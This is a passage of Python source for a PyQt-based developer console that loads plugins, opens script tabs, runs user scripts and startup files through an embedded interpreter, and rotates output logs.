            currentDirPath = os.path.join(searchPath,currentDirName)
            if (not "__" in currentDirPath):
                if os.path.isdir(currentDirPath):
                    rItem = self.qtTree.createItem(currentDirName,currentDirPath)
                    self.qtTree.addChild(rItem, parentItem)
                    self.populatePluginsCore(rItem, currentDirPath)
                else:
                    self.loadPlugin(currentDirPath, parentItem)

    def addToSysPath(self, path):
        path = os.path.abspath(path)
        if('\.' in path): return None
        print ("Adding path to system... " + path)
        code = r'''import sys,os
path2Add="%s"
if path2Add not in sys.path and os.path.exists(path2Add):
    sys.path.append(path2Add)
''' % (path).replace(os.path.sep,'/')
        self.runScript(code)

    def loadPlugin(self, plugFile, parentTreeItem=None):
        if('\.' in plugFile): return None
        modName = os.path.basename(plugFile).replace(os.path.splitext(plugFile)[1], '')
        content = self.ttls.fileContent(plugFile)
        expecting = "For DevConsole"
        if(expecting in content):
            item = self.qtTree.createItem(modName, plugFile)
            if(parentTreeItem is None):
                plugTreeItem = self.qtTree.addNewRoot(self.treeWidget, item)
            else:
                plugTreeItem = self.qtTree.addChild(item, parentTreeItem)
            print("Adding Plug... " + plugFile)
        else:
            print("Skipped Plug! (Add tag 'For DevConsole') " + plugFile)
            plugTreeItem = None
        #self.runScript(content)
        return plugTreeItem

    def execStartUp(self, *arg):
        self.addToSysPath(self.scriptsPath)
        self.userSetup = os.path.join(self.scriptsPath, 'userSetup.py')
        self.userSetup = self.userSetup if os.path.exists(self.userSetup) else os.path.join(self.scriptsPath, 'userSetup.pyc')
        self.userSetup = self.userSetup if os.path.exists(self.userSetup) else ''
        self.runScriptFile(self.userSetup)
        self.loadScriptCore(self.userSetup)

    def runScriptFile(self, scriptFile):
        if scriptFile and os.path.exists(scriptFile):
            print ('Executing... %s' % scriptFile)
            data = self.ttls.fileContent(scriptFile)
            self.runScript(data)
        else:
            print ('Script file missing...' + scriptFile)

    def encrypt(self, text):
            code = int(sys.argv[1] if(len(sys.argv)>1) else 4321)
            cipher=''
            for each in text:
                    c = (ord(each)+code) % 126
                    if c < 32:
                            c+=31
                    cipher += chr(c)
            return cipher

    def decrypt(self, text):
            code = int(sys.argv[1] if(len(sys.argv)>1) else 4321)
            plaintext=''
            for each in text:
                    p = (ord(each)-code) % 126
                    if p < 32:
                            p+=95
                    plaintext += chr(p)
            return plaintext

    def tabKeyPress(self, event):
        modifiers = QtWidgets.QApplication.keyboardModifiers()
        if (modifiers == QtCore.Qt.ControlModifier and event.key()==QtCore.Qt.Key_S):
            self.quickSave()

        if (modifiers == QtCore.Qt.ControlModifier and event.key()==QtCore.Qt.Key_N):
            self.addEmptyTab()
        #print(modifiers == QtCore.Qt.ControlModifier and event.key()==16777221)

    def tabClose(self,tabIndex):
        cnt = self.tabWidget.count()
        if(cnt>1):
            #proceed closing the tab
            self.tabWidget.removeTab(tabIndex)

    def addEmptyTab(self):
        newTab = QtWidgets.QWidget()
        self.tabWidget.addTab(newTab, 'New Script')
        newTab.setToolTip('New Script')
        self.tabWidget.setCurrentWidget(newTab)

        tabGrid = QtWidgets.QGridLayout(newTab)
        tabGrid.setContentsMargins(2, 2, 2, 2)
        newSciInput = QsciScintilla(newTab)
        newSciInput.setFrameShape(QtWidgets.QFrame.Box)
        tabGrid.addWidget(newSciInput, 0, 0, 1, 1)
        self._setQSci(newSciInput)
        newSciInput.setText('')
        newSciInput.setFocus()

    def addNewTab(self,scriptFile):
        print("Loading tab..." + scriptFile)
        fileName = os.path.basename(scriptFile)

        newTab = QtWidgets.QWidget()
        self.tabWidget.addTab(newTab, fileName)
        newTab.setToolTip(scriptFile)
        self.tabWidget.setCurrentWidget(newTab)

        tabGrid = QtWidgets.QGridLayout(newTab)
        tabGrid.setContentsMargins(2, 2, 2, 2)
        newSciInput = QsciScintilla(newTab)
        newSciInput.setFrameShape(QtWidgets.QFrame.Box)
        tabGrid.addWidget(newSciInput, 0, 0, 1, 1)
        self._setQSci(newSciInput)
        data = str(self.ttls.fileContent(scriptFile))
        newSciInput.setText(data)

    def _setQSci(self, newSciInput):
        newSciInput.setEolMode(Qsci.QsciScintilla.EolUnix)
        newSciInput.setAutoCompletionSource(Qsci.QsciScintilla.AcsAll)
        newSciInput.setLexer(self.PLX)
        newSciInput.setAutoCompletionThreshold(1)
        newSciInput.setAutoIndent(True)
        newSciInput.setIndentationsUseTabs(False)
        newSciInput.setAutoCompletionFillupsEnabled(True)
        newSciInput.setBraceMatching(Qsci.QsciScintilla.StrictBraceMatch)
        newSciInput.setMarginLineNumbers(1, 1)
        newSciInput.setMarginWidth(1, 45)
        newSciInput.setUtf8(True)
        newSciInput.setEolVisibility(False)
        #newSciInput.setWrapMode(Qsci.QsciScintilla.WrapMode(Qsci.QsciScintillaBase.SC_WRAP_WORD))
        #newSciInput.setWrapVisualFlags(Qsci.QsciScintilla.WrapVisualFlag(Qsci.QsciScintilla.WrapFlagByBorder), Qsci.QsciScintilla.WrapVisualFlag(Qsci.QsciScintilla.WrapFlagNone), 0)

    def quickSave(self):
        (qsci,scriptName) = self.getCurrentEditor()
        if (scriptName!='New Script'):
            self.saveQSCItoFile(qsci,scriptName)
            #self.qtTools.showInfoBox('Quick Save', 'File Saved!')
            print("Quick Saved! - " +str(scriptName))
        else:
            self.saveScriptAs()

    def saveScriptAs(self):
        scpt = self.scriptsPath
        scpt = scpt if os.path.exists(scpt) else 'C:'
        options = QFileDialog.Options()
        options |= QFileDialog.DontUseNativeDialog
        fileName = QFileDialog.getSaveFileName(self.win, 'Save python script file...', scpt, 'Python(*.py);;All Files (*)', options=options)

        if (fileName and fileName[0] != ''):
            fileName = fileName[0]
            self.saveScriptCore(fileName)
            #Close and Reload Tab
            cin = self.tabWidget.currentIndex()
            self.tabClose(cin)
            self.loadScriptCore(fileName)

    def saveScriptCore(self,fileName):
        (qsci,scriptName) = self.getCurrentEditor()
        self.saveQSCItoFile(qsci,fileName)

    def saveQSCItoFile(self,qsci,fileName):
        self.ttls.writeFileContent(fileName, qsci.text())

    def loadScript(self):
        scpt = self.scriptsPath
        scpt = scpt if os.path.exists(scpt) else 'D:'
        options = QFileDialog.Options()
        options |= QFileDialog.DontUseNativeDialog
        fileName = QFileDialog.getOpenFileName(self.win, 'Open python script file...', scpt, 'Python(*.py);;All Files (*)', options=options)
        if fileName and fileName[0] != '' and os.path.exists(fileName[0]):
            fileName = fileName[0]
            self.loadScriptCore(fileName)

    def loadScriptCore(self,fileName):
        if(os.path.isfile(fileName) and os.path.exists(fileName)):
            self.addNewTab(fileName)

    def btnRedirector(self):
        actingButton = self.parent.sender()
        scpt = self.scriptsPath
        scpt = scpt if os.path.exists(scpt) else 'D:'

        #if actingButton == self.toolButton:
        #    self.treeWidget.setVisible(self.toolButton.isChecked())
        if actingButton == self.stsBtnDebugger:
            if self.win.isVisible():
                self.win.hide()
            else:
                self.win.show()
        elif (actingButton == self.btnNewScript or (self.standalone and actingButton == self.mnuFileNewScript)):
            self.addEmptyTab()
        elif (actingButton == self.btnQuickSaveScript or (self.standalone and actingButton == self.mnuFileQuickSaveScript)):
            self.quickSave()
        # elif (actingButton == self.btnClearOutput or (self.standalone and actingButton == self.mnuEditClearOutput)):
        #     self.sciOutput.clear()
        #     self.loadedFileName = ''
        #     self.loadedFile = False
        #     self.lblFileLoadInfo.setText('No File Loaded!')
        elif (actingButton == self.btnExecute):
            self.doExecute()
        elif (actingButton == self.btnLoadScript or (self.standalone and actingButton == self.mnuFileLoadScript)):
            self.loadScript()
        elif (actingButton == self.btnSaveScript or (self.standalone and actingButton == self.mnuFileSaveScript)):
            self.saveScriptAs()
        elif (self.standalone and actingButton == self.mnuAboutHPSE):
            print (self.credit)
        elif (actingButton == self.mnuEditClearOutput):
            self.sciOutput.clear()
        elif (actingButton == self.mnuEditClearInput):
            (qsci,scriptName) = self.getCurrentEditor()
            qsci.clear()
        elif (self.standalone and actingButton == self.mnuFileQuit):
            sys.exit(0)
        else:
            print ('Unkown button' + str(actingButton))

    def getCurrentEditor(self):
        cwidget = self.tabWidget.currentWidget()
        lst = cwidget.children()
        if(len(lst)>1):
            qsci = lst[1]
            scriptName = cwidget.toolTip()
            return (qsci,scriptName)

    def mouseLock(self):
        self.win.grabMouse(QtCore.Qt.WaitCursor)
        self.win.grabKeyboard()
        QtWidgets.QApplication.processEvents()

    def mouseRelease(self):
        self.win.releaseMouse()
        self.win.releaseKeyboard()
        QtWidgets.QApplication.processEvents()

    def doExecute(self):
        self.mouseLock()
        (qsci,scriptName) = self.getCurrentEditor()
        if (scriptName!=""):
            print("Executing..."+scriptName)
        if not str(qsci.text()) == '':
            inputs = str(qsci.text()).rstrip()
            self.appendPlainOutput(inputs)
            self.appendLineOutput()
            self.ABS.add(inputs)
            self.ABS.prepare()
            self.runScript(inputs)
        self.mouseRelease()

    """
    '''    def runScript(self, script):
            try:
                command = str(script).replace('\r\n', '\n')
                try:
                    #self.inter.compile(commands)
                    res = eval(command, globals(), self.inter.locals)
                    #res = exec(command, globals(), self.inter.locals)
                    #print('Done1')
                except SyntaxError:
                    # self.inter.showtraceback()
                    # exec (command, globals(), locals())
                    res = self.inter.runcode(command)
                    #print('Done2')
                QtWidgets.QApplication.processEvents()
                if res is not None:
                    print(repr(res))
            except SystemExit:
                self.inter.showsyntaxerror()
                crashHandle()
                sys.exit(0)
            except:
                print (errorReport())
    '''
    """
    def runScript(self, script):
        try:
            command = str(script).replace('\r\n', '\n')
            locals = self.getUpdatedLocals()
            self.inter.locals.update(locals)
            try:
                res = self.inter.runcode(command)
            except SyntaxError:
                self.inter.showsyntaxerror()
            QtWidgets.QApplication.processEvents()
            if res is not None:
                print ('\n---------------------------------------\n')
                print(repr(res))
                print ('\n---------------------------------------\n')
        except SystemExit:
            self.inter.showsyntaxerror()
            crashHandle()
            sys.exit(0)
        except:
            print (errorReport())

    def appendPlainOutput(self, txt):
        self.appendTextCore(txt)

    def appendLineOutput(self):
        self.appendTextCore('\n')

    def appendSplOutput(self, txt):
        nowtime = strftime("%Y-%m-%d %H:%M:%S")
        splOutput = str(nowtime) + ' : ' + str(txt)
        self.appendPlainOutput(splOutput)

    def appendLog(self, txt):
        self.appendLineOutput()
        self.appendTextCore(txt)

    def appendTextCore(self, txt):
        self.sciOutput.setCursorPosition(self.sciOutput.lines(),0)
        self.sciOutput.insert(str(txt))
        vsb = self.sciOutput.verticalScrollBar()
        vsb.setValue(vsb.maximum())
        hsb = self.sciOutput.horizontalScrollBar()
        hsb.setValue(0)

    # Standard Error and Print Capture
    def write(self, txt):
        self.appendPlainOutput(txt)

    def showEditor(self, exec_=0):
        if exec_:
            self.win.exec_()
        else:
            self.win.show()

    def writeToLog(self):
        """
        Write info
        :return:
        """
        curdir = os.getcwd()
        logdir = curdir + '/ConsoleLog'
        if not os.path.exists(logdir):
            os.makedirs(logdir)

        fileList = os.listdir(logdir)
        if len(fileList) >= self.logCount:
            fileToDelete = fileList[0]
            delFile = logdir + '/' + fileToDelete
            os.remove(delFile)

        print ('\nLog End Time: ' + str(strftime("%Y/%m/%d %H:%M:%S")))
        fileName = 'DC' + strftime("%Y%m%d%H%M%S") + '.log'
        logFileName = logdir + '/' + fileName
        self.saveQSCItoFile(self.sciOutput,logFileName)

import socket
if __name__ == '__main__':
    try:
        testhere=0
        app = QtWidgets.QApplication(sys.argv)
        if(socket.gethostname()=='MUKUND-PC'):
            dc = DevConsole(ShowPrint=not testhere, ShowError=not testhere, ScriptsPath='J:\devcon-scripts')
        else:
            dc = DevConsole(ShowPrint=True, ShowError=True)
        dc.showEditor()
        sys.exit(app.exec_())
    except:
        crashHandle()
    sys.exit(1)